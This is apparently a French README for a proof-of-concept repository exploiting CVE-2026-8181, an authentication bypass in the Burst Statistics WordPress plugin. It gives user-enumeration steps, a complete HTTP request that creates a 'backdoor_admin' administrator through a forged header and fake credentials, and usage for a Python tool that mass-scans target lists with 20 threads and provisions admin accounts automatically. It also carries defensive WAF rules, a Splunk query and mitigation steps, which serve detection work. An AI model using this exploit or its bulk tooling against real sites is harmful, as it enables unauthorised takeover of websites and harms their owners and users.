PoC Python pour CVE-2026-8181, un contournement critique de l'authentification dans le plugin WordPress Burst Statistics. Inclut l'automatisation de l'exploitation, l'analyse en masse et la création de comptes administrateur pour des tests de sécurité autorisés.
[!CAUTION] ALERTE CRITIQUE : cette vulnérabilité permet à un attaquant distant non authentifié de contourner l'authentification et d'obtenir la totalité des privilèges d'administrateur sur le site WordPress cible en injectant simplement un en-tête HTTP personnalisé. Cette CVE fait actuellement l'objet d'une exploitation active dans la nature.
CVE-2026-8181 est une vulnérabilité critique de contournement de l'authentification affectant le plugin WordPress Burst Statistics (versions 3.4.0 à 3.4.1.1). Le défaut se situe dans l'intégration du proxy MainWP du plugin. En raison d'une validation inadéquate des mots de passe d'application lors du hook plugins_loaded exécuté trop tôt, le plugin accorde à tort un contexte administratif aux requêtes de l'API REST qui incluent l'en-tête X-BurstMainWP: 1, même si la requête est dépourvue d'identifiants valides.
Cela transforme une simple requête HTTP non authentifiée en une prise de contrôle administrative complète, contournant tous les mécanismes d'authentification standard de WordPress.
Pour comprendre comment un simple en-tête offre les clés du royaume, nous devons disséquer la logique PHP du gestionnaire d'authentification du plugin.
La vulnérabilité provient d'une branche conditionnelle mal gérée dans includes/Frontend/class-mainwp-proxy.php, au sein de la méthode is_mainwp_authenticated().
init() sur plugins_loaded avec la priorité 9. C'est trop tôt dans le cycle de vie de WordPress.X-BurstMainWP: 1, has_admin_access() délègue l'authentification à is_mainwp_authenticated().Authorization et transmet les identifiants à wp_authenticate_application_password() du noyau WordPress.application_password_is_api_request sur true (en raison de l'exécution précoce du hook), la fonction du noyau renvoie null au lieu d'un objet WP_Error.is_wp_error( $user ). Comme null n'est pas un WP_Error, la garde est franchie.wp_set_current_user() avec le nom d'utilisateur fourni par l'attaquant, élevant instantanément la requête à un contexte administrateur complet.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
Cette section est destinée aux Red Teamers et aux testeurs d'intrusion autorisés.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Si elle est bloquée, utilisez l'astuce des archives d'auteur : /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null défectueuse et élève la requête au contexte administrateur. Le nouvel utilisateur administrateur est créé.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Avertissement environnemental : cet exploit nécessite que l'en-tête
Authorizationatteigne PHP.
- Nginx / LiteSpeed / Apache avec permaliens personnalisés (Pretty Permalinks) : l'en-tête est transmis. L'exploit RÉUSSIT.
- Apache avec permaliens simples (par défaut) : l'en-tête est silencieusement supprimé par le serveur web. L'exploit ÉCHOUE.
Cette section est destinée aux Blue Teamers, aux analystes SOC et aux administrateurs système.
Bloquez ou surveillez l'en-tête spécifique en périphérie du réseau.
Règle ModSecurity / OWASP CRS :
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Règle personnalisée Cloudflare WAF :
(http.request.headers["X-BurstMainWP"] eq "1")
Recherchez dans les journaux de votre serveur web la présence de l'en-tête combinée à une création d'utilisateurs via l'API REST.
Requête Splunk / ELK :
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Si vous suspectez une intrusion, recherchez ces artefacts post-exploitation :
wp_users pour les utilisateurs créés via l'API REST avec le rôle administrator.wp-content/plugins/ pour les téléversements non autorisés (souvent des webshells déguisés en plugins légitimes).wp-content/themes/ ou dans les fichiers du noyau.[!IMPORTANT] Action immédiate requise : si vous exécutez une version vulnérable, appliquez immédiatement l'une des atténuations suivantes.
| Priorité | Action | Détails |
|---|---|---|
| P0 | Corriger le plugin | Mettez à jour Burst Statistics vers la version 3.4.2 ou une version supérieure immédiatement via le tableau de bord WordPress. |
| P1 | Correctif virtuel WAF | Si vous ne pouvez pas corriger immédiatement, déployez les règles WAF (ci-dessus) pour bloquer l'en-tête X-BurstMainWP. |
| P2 | Restreindre l'énumération d'utilisateurs | Utilisez un plugin de sécurité ou des règles .htaccess pour bloquer l'accès public à /wp-json/wp/v2/users et /?author=*. |
| P3 | Auditer les utilisateurs et les fichiers | Exécutez un script pour auditer les comptes administrateurs récemment créés et révoquez tout accès non autorisé. Recherchez les webshells. |
Ce dépôt inclut CVE-2026-8181.py, un outil d'automatisation Python permettant de vérifier la vulnérabilité dans des environnements de laboratoire autorisés.
| Fonctionnalité | Description |
|---|---|
| 🎯 Cible unique | Analysez un site spécifique à l'aide de l'option -u. |
| 📦 Opérations groupées | Fournissez une liste de cibles via -f targets.txt (prend en charge # pour les commentaires). |
| ⚡ Concurrence | Accélérez les analyses groupées avec des workers multithreadés (-j N). |
| 💾 Sortie intelligente | -o file.txt pour un rapport combiné. En mode groupé, seuls les exploits réussis sont journalisés. |
| 📂 Extractions par hôte | Utilisez --output-dir pour enregistrer des fichiers .txt individuels pour chaque hôte compromis. |
| 👤 Création d'administrateur | Passez --create-user pour provisionner automatiquement un nouveau compte administrateur via l'API REST. |
| 🔓 TLS de laboratoire | Utilisez -k pour ignorer les erreurs de certificat SSL (strictement pour les environnements de laboratoire locaux/de confiance). |
# 1. Install dependencies
pip3 install requests urllib3
# 2. Single Site Recon & Auto-Provision New Admin
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. Bulk Scan with Combined Success File
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. Bulk Scan with Individual Host Reports
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.
Les informations fournies dans ce dépôt sont destinées à des fins éducatives, à la recherche en sécurité et aux tests d'intrusion autorisés. L'exploitation de vulnérabilités contre des systèmes sans autorisation écrite explicite du propriétaire du système est illégale et viole les lois internationales en matière de cybercriminalité.
Les auteurs et contributeurs de ce dépôt déclinent toute responsabilité et ne sont pas responsables de tout usage abusif, dommage ou conséquence juridique découlant de l'utilisation de cet outil ou de ces informations. Hackez toujours de manière responsable et éthique.